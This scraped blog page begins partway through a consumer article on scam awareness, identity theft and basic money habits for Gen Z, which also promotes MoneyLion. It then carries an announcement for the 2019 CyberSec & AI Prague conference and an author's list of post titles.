lives online. That means your money does too. And that’s exactly where scammers operate.Fake ads. Impersonation. “Investment opportunities” that look just legitimate enough. These aren’t edge cases. They are designed to blend in with everything else you scroll past.And it works.There’s also a gap worth calling out: confidence doesn’t always equal protection.Gen Z is one of the most confident generations when it comes to spotting scams, but they’re also engaging with them at significantly higher rates than older generations, in some cases nearly double. (<a href="https://dataconomy.com/2025/08/11/gen-z-fall-for-online-scams-more-than-twice-as-often-as-older-ones/?utm_source=chatgpt.com">dataconomy.com</a>)And when scams work, they don’t just take money. They take identity.According to the Identity Theft Resource Center, many of today’s scams are designed to get people to willingly share personal information, including login details, Social Security numbers or verification codes. That information is then used to open new accounts or take over existing ones. (<a href="https://www.prweb.com/releases/identity-theft-resource-center-2025-trends-in-identity-report-impersonation-scams-rise-148-percent--become-top-reported-scam-302477300.html?utm_source=chatgpt.com">prweb.com</a>)That shift matters. Because identity theft isn’t a future problem. It is often the next step after a single click, message or seemingly harmless interaction.As Eva Velasquez, CEO of the Identity Theft Resource Center (ITRC), puts it: “We have to stop looking at identity theft and financial loss as two separate problems. Your identity is the ‘key’ to your entire financial house. If a scammer gets your login or your Social Security number, they don’t just take your money; they take your ability to build a future. Protecting your personal data is the most foundational investment you can make in your financial health.”If your financial life lives online, your identity is part of your financial safety net. Protecting it isn’t optional anymore. It is foundational.A few rules that hold up:<ul><li data-list-item-id="e68f7e0771c4abf542347cf3d63d577c2">If it creates urgency, pause</li><li data-list-item-id="eb8ea324e46df96adbfd24483ec6a98f6">If it promises easy money, question it</li><li data-list-item-id="e74a7beb276a369d3825446def9da1a64">If it looks legit but feels off, trust that instinct</li></ul>Being skeptical isn’t negativity. It’s protection.If you want to go deeper, the&nbsp;<a href="https://www.idtheftcenter.org/reports/?utm_source=chatgpt.com">Identity Theft Resource Center’s latest reports and resources</a> break down how these scams are evolving and what to watch for.

<h4>Use tools that actually help you move forward</h4>This part matters more than ever: you don’t have to figure all of this out alone.The line between financial health and digital safety is disappearing. That’s why platforms are starting to bring both together.MoneyLion, now part of Gen, is a good example of that shift. It’s built to help people not just manage money, but actually move forward with it: tracking spending, building credit, accessing tools that make financial progress feel doable.Because financial safety isn’t just about avoiding risk. It’s about having the confidence to act.&nbsp;<h4>You’re not behind. You’re early</h4>It’s easy to feel like you’re late with money. Like you should already have it figured out.You’re not. You’re early.Gen Z is already reshaping how money works. There are more open conversations, earlier investing and more willingness to question the system.The goal isn’t perfection. It’s momentum.Start with:<ul><li data-list-item-id="e25fe3be553f9c23cfc8ba4ecd87a05ae">Knowing your numbers</li><li data-list-item-id="e947fbae986f88ac1b2176531fd700260">Building a small safety net</li><li data-list-item-id="e1072ff692e39775a264cf450c494ccb5">Staying sharp online</li><li data-list-item-id="eaa82b9c8751df887da9a64a66a4100ff">Using tools that actually support you</li></ul>That’s Financial Safety 101.Not flashy. Not viral. But it works.And once that foundation is there, everything else, investing, growing, building real wealth, gets a whole lot easier.

From budgeting to scams to identity theft, here’s how Gen Z can build a financial foundation that actually holds up online

Financial Safety 101 for Gen Z: Build It Before You Need It

Join us at the end of October for a conference about new advances in machine learning. You will see how AI can help protect people against the bad guys on the Internet – a goal we trully believe in. We have teamed up with Czech Technical University to bring together the best minds in tech and academia. Experts from many universities world wide as well as a few of our own will share their vision for what the future holds and debate the possibilities of tomorrow’s digital landscape.<h2>Speakers’s spotlight:</h2><ul><li>Doug Tygar – UC Berkeley</li><li>Alex Halderman – University of Michigan</li><li>Matthias Grossglauser – EPFL Switzerland</li><li>Rachel Greenstadt – New York University</li><li>Christopher Kiekintveld – University of Texas</li></ul>You’ll have a chance to meet our new CTO Michal Pechoucek. He is a seasoned security specialist and a father of AI at CTU. Michal will give the opening talk.<h2>Call for posters</h2>If you’re a PhD student there is also a poster session where you’ve be able to present your research and achievements. The deadline is August 18th 2019.<h2>More Info</h2><ul><li>When: October 25th 2019</li><li>Where: Prague, Czech Republic</li><li>Details: <a href="https://www.cybersecprague.ai/">https://www.cybersecprague.ai/</a></li></ul>

Michal Salát

Posts by Michal Salát

Fingerprinting AI Agent Skills: The Missing Identity Layer for Agent Plugins

Beware: Lumma stealer spreading via GitHub comments

CyberSec & AI Prague 2019